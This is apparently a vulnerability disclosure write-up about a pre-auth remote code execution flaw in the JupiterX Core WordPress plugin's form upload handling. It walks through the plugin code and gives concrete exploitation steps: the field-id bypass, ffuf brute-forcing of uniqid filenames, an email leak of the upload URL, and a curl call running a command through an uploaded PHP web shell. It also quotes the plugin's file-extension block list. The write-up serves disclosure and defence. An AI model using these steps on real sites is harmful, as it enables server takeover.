During a security assessment of a Wordpress website, the jupiterx-core
plugin was identified. At the time of this writing, this plugin has 178k downloads on ThemeForest and is the 8th best sold item on this marketplace. The latest version was running on our target, so we decided to dig a little deeper into this plugin.
A pre-auth remote code execution vulnerability was found. It only requires a form with a file upload feature on the target. You can identify such a vulnerable form by checking the type
and name
attributes of the form field:
<input ... type="file" name="fields[...]" class="raven-field" ...>
When a form with a file upload feature is created with Jupiter X, it is submitted to wp-admin/admin-ajax.php
with the action
parameter dynamically set to raven_form_frontend
. The generated HTML form looks like this:
<form class="raven-form raven-flex raven-flex-wrap raven-flex-bottom raven-hide-required-mark" method="post" name="Contact form">
<input type="hidden" name="post_id" value="12" />
<input type="hidden" name="form_id" value="efe4adb" />
<input type="text" name="fields[7392602]" class="raven-field" ...>
<input type="email" name="fields[f27c46d]" class="raven-field" ...>
<textarea type="textarea" name="fields[6a389bd]" class="raven-field" ... ></textarea>
<input type="file" name="fields[475fb85]" class="raven-field" ...>
<button class="raven-submit-button" type="submit">
</form>
This form will be handled by the plugin within the Ajax_Handler::handle_frontend
method:
<?php
namespace JupiterX_Core\Raven\Modules\Forms\Classes;
class Ajax_Handler {
...
public function __construct() {
add_action( 'wp_ajax_raven_form_frontend', [ $this, 'handle_frontend' ] );
add_action( 'wp_ajax_nopriv_raven_form_frontend', [ $this, 'handle_frontend' ] );
add_action( 'wp_ajax_raven_form_editor', [ $this, 'handle_editor' ] );
}
public function handle_frontend() {
$post_id = filter_input( INPUT_POST, 'post_id' );
$form_id = filter_input( INPUT_POST, 'form_id' );
$this->record = $_POST; // @codingStandardsIgnoreLine
// Convert array data to string. Used for checkbox.
foreach ( $this->record['fields'] as $_id => $field ) {
if ( is_array( $field ) ) {
$this->record['fields'][ $_id ] = implode( ', ', $field );
}
}
$form_meta = Elementor::$instance->documents->get( $post_id )->get_elements_data();
$this->form = Module::find_element_recursive( $form_meta, $form_id );
$this->form['settings'] = Elementor::$instance->elements_manager->create_element_instance( $this->form )->get_settings_for_display();
$this
->clear_step_fields()
->set_custom_messages()
->validate_form()
->validate_fields()
->upload_files()
->run_actions()
->send_response();
}
In the previous code, the current form settings are retrieved by calling the Elementor get_settings_for_display
method. These settings depend on how the form was configured by the administrator. They are retrieved from the form_id
HTTP parameter. The $this->form['settings']['fields']
array looks like this for this form:
[
{"label":"Name","_id":"7392602","type":"text","required":"",...},
{"label":"Email","_id":"f27c46d","type":"email","required":"true",...},
{"label":"Message","_id":"6a389bd","type":"textarea","required":"",...},
{"label":"File","_id":"475fb85","type":"file","required":"",...}
]
Each of these configured fields are validated by the Ajax_Handler::validate_fields
method. The validate_required
and validate
methods of each associated class are called:
<?php
private function validate_fields() {
$form_fields = $this->form['settings']['fields'];
foreach ( $form_fields as $field ) {
if (
( isset( $field['_enable'] ) && 'false' === $field['_enable'] ) &&
empty( $field['enable'] )
) {
continue;
}
$field['type'] = empty( $field['type'] ) ? 'text' : $field['type'];
$class_name = 'JupiterX_Core\Raven\Modules\Forms\Fields\\' . ucfirst( $field['type'] );
$class_name::validate_required( $this, $field );
$class_name::validate( $this, $field );
}
if ( ! empty( $this->response['errors'] ) ) {
$this->send_response();
}
return $this;
}
Because there is a file
type field configured for this form, the File::validate_required
method is called. The call to File::fix_file_indices
changes the original $_FILES
stucture to a new one:
<?php
namespace JupiterX_Core\Raven\Modules\Forms\Fields;
class File extends Field_Base {
...
public static function validate_required( $ajax_handler, $field ) {
self::fix_file_indices();
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput
$fields = isset( $_FILES['fields'] ) ? $_FILES['fields'] : false;
...
}
}
The File::validate
method is then called. If the configured file
type field is sent, the is_file_type_valid
method checks if the file extension is allowed. However, if this field is not sent, no checks are done. For our form, this means not sending the $_FILES['fields']['475fb85']
file will not perform these checks:
<?php
public static function validate( $ajax_handler, $field ) {
if ( ! isset( $_FILES['fields'][ $field['_id'] ] ) ) {
return;
}
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput
$fields = $_FILES['fields'];
self::fix_file_indices();
$record_field = $fields[ $field['_id'] ];
...
foreach ( $record_field as $index => $file ) {
...
// valid file type?
if ( ! self::is_file_type_valid( $field, $file ) ) {
$error_message = __( 'This file type is not allowed.', 'jupiterx-core' );
$ajax_handler
->add_response( 'errors', $error_message, $field['_id'] )
->set_success( false );
}
}
}
...
private static function is_file_type_valid( $field, $file ) {
// File type validation
if ( empty( $field['file_types'] ) ) {
$field['file_types'] = 'jpg,jpeg,png,gif,pdf,doc,docx,ppt,pptx,odt,avi,ogg,m4a,mov,mp3,mp4,mpg,wav,wmv';
}
$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
$file_types_meta = explode( ',', $field['file_types'] );
$file_types_meta = array_map( 'trim', $file_types_meta );
$file_types_meta = array_map( 'strtolower', $file_types_meta );
$file_extension = strtolower( $file_extension );
return ( in_array( $file_extension, $file_types_meta, true ) &&
! in_array( $file_extension, self::get_blacklist_file_ext(), true ) );
}
private static function get_blacklist_file_ext() {
static $blacklist = false;
if ( ! $blacklist ) {
$blacklist = [ 'php', 'php3', 'php4', 'php5', 'php6', 'phps', 'php7', 'phtml', 'shtml', 'pht', 'swf', 'html', 'asp', 'aspx', 'cmd', 'csh', 'bat', 'htm', 'hta', 'jar', 'exe', 'com', 'js', 'lnk', 'htaccess', 'htpasswd', 'phtml', 'ps1', 'ps2', 'py', 'rb', 'tmp', 'cgi' ];
$blacklist = apply_filters( 'elementor_pro/forms/filetypes/blacklist', $blacklist );
}
return $blacklist;
}
Back to Ajax_Handler::handle_frontend
, now that validate_fields
was executed, the upload_files
method is called. The first part checks if all the $_FILES['fields']
files sent within the HTTP request are expected by the current form. This is done to prevent an attacker from sending extra files that were not checked by File::validate
before. The plugin compares each file id in $_FILES['fields']
with the ids inside $valid_fields
:
<?php
public function upload_files() {
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput
$fields = isset( $_FILES['fields'] ) ? $_FILES['fields'] : false;
if ( ! $fields ) {
return $this;
}
$valid_fields = [];
foreach ( $this->form['settings']['fields'] as $form_fields ) {
$valid_fields[ $form_fields['_id'] ] = $form_fields['type'];
}
foreach ( $fields as $id => $field ) {
if ( empty( $field ) ) {
continue;
}
foreach ( $field as $index => $file ) {
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue;
}
if ( ! isset( $valid_fields[ $id ] ) ) {
$this
->add_response( 'errors', esc_html__( 'There was an error while trying to upload your file.', 'jupiterx-core' ) )
->set_success( false );
return $this;
}
The problem is that the $valid_fields
array contains all the fields expected and configured for the current form, not only the file
type fields:
{"7392602":"text","f27c46d":"email","6a389bd":"textarea","475fb85":"file"}
This means it is possible to bypass this check by simply sending a file with the id of another expected text
or textarea
field for example. These field types do not have a validate_required
and validate
methods implemented so there is no restriction on their values. If the file
type field is required by the form, we can just send the original one with a legit file, which will get validated, and add an extra malicious file within the request with the id of another field.
Once the file is uploaded, it is stored in wp-content/uploads/jupiterx/forms/
. The filename is generated using the uniqid
PHP function and the original file extension. The wp_unique_filename
function does not change the filename if it does not exist in the target directory:
<?php
public function upload_files() {
...
$uploads_dir = $this->get_ensure_upload_dir();
$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
$filename = uniqid() . '.' . $file_extension;
$filename = wp_unique_filename( $uploads_dir, $filename );
$new_file = trailingslashit( $uploads_dir ) . $filename;
...
$move_new_file = @move_uploaded_file( $file['tmp_name'], $new_file );
By changing the file HTTP parameter from fields[475fb85]
to fields[7392602]
in our form, we can bypass all the checks and upload the file successfully:
Now that the file is uploaded, we have to find it. The uniqid
PHP function is not random. It is based on the current time with microsecond precision. If you know the exact server date, there are only one million possibilities to bruteforce:
$ php -r 'print(dechex(time()) ."\n"); for($i=0;$i<10;$i++) {print(uniqid()."\n");}'
66ad2345
66ad23454c9a2
66ad23454c9a6
66ad23454c9a7
66ad23454c9a9
66ad23454c9aa
66ad23454c9ab
66ad23454c9ad
66ad23454c9ae
66ad23454c9af
66ad23454c9b1
By using the Date
header from the HTTP response obtained after uploading a file, the start of uniqid
can be guessed using our script jupiterxhelper.py. The ffuf tool can then be used to bruteforce the URL with all possibilities:
$ ./jupiterxhelper.py --server-date "Sun, 04 Aug 2024 13:10:06 GMT" --wp-url "https://192.168.1.32/wordpress"
generating the file milliseconds.txt..
http response date is Sun, 04 Aug 2024 13:10:06 GMT
response date with delta=0 2024-08-04 13:10:06+00:00 [66af7dae]
response date with delta=-1 2024-08-04 13:10:05+00:00 [66af7dad]
response date with delta=1 2024-08-04 13:10:07+00:00 [66af7daf]
execute by priority:
URL=https://192.168.1.32/wordpress/wp-content/uploads/jupiterx/forms
ffuf -u $URL/66af7daeFUZZ.php -w milliseconds.txt -o result_66af7dae -ignore-body
ffuf -u $URL/66af7dadFUZZ.php -w milliseconds.txt -o result_66af7dad -ignore-body
ffuf -u $URL/66af7dafFUZZ.php -w milliseconds.txt -o result_66af7daf -ignore-body
After a while, the file is found:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://192.168.1.32/wordpress/wp-content/uploads/jupiterx/forms/66af7daeFUZZ.php
:: Wordlist : FUZZ: ./milliseconds.txt
:: Output file : result_66af7dae
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
ba6e2 [Status: 500, Size: 0, Words: 0, Lines: 0, Duration: 0ms]
Code execution is obtained:
$ curl -d"cmd=id" -k https://192.168.1.32/wordpress/wp-content/uploads/jupiterx/forms/66af7daeba6e2.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)
This bruteforce attack can be optimized by using threads during the upload and also by sending multiple files within the same request using all other text
and textarea
expected field ids. Just from a few tests, this reduced the possibilities to around 600k requests.
After executing Ajax_Handler::upload_files
, the actions configured for the form are called within the run_actions
method. By default, there is no action. However, if this is a contact form with a file attachment option for example, it is quite common that an email is sent to the administrators. To do so, an Email
action is configured:
If the form is configured with the Confirmation
option enabled, the plugin sends a copy of the email to the one who submits the form. The value of the email
field type is retrieved with $ajax_handler->record['fields'][$email['_id']]
:
<?php
namespace JupiterX_Core\Raven\Modules\Forms\Actions;
class Email extends Action_Base {
...
public static function run( $ajax_handler ) {
$form_settings = $ajax_handler->form['settings'];
...
wp_mail( $email_to, $email_subject, $body, $headers );
if ( 'yes' === $confirmation ) {
self::send_confirmation_email( $ajax_handler, $email_name, $email_from, $body, $content_type );
}
$ajax_handler->add_response( 'success', 'Email sent.' );
}
private static function send_confirmation_email( $ajax_handler, $email_name, $email_from, $body, $content_type ) {
$headers[] = 'Content-Type: text/' . $content_type;
$headers[] = 'charset=UTF-8';
$headers[] = 'From: ' . $email_name . ' <' . $email_from . '>';
// Email field.
$email = array_filter( $ajax_handler->form['settings']['fields'], function( $field ) {
return 'email' === $field['type'];
} );
// First email field.
$email = reset( $email );
// Email address.
$email_to = $ajax_handler->record['fields'][ $email['_id'] ];
wp_mail( $email_to, esc_html__( 'We received your email', 'jupiterx-core' ), $body, $headers );
}
The attacker receives a copy of the email which reveals the URL of the uploaded file. In this case, there is no need to launch a bruteforce attack anymore. Code execution is obtained instantly:
From: website <[email protected]>
Content-Type: text/html; charset="UTF-8"
To: [email protected]
Subject: We received your email
Name: https://192.168.1.32/wordpress/wp-content/uploads/jupiterx/forms/66af7daeba6e2.php
Email: [email protected]
Message: my message
...
Update to Jupiter X latest version.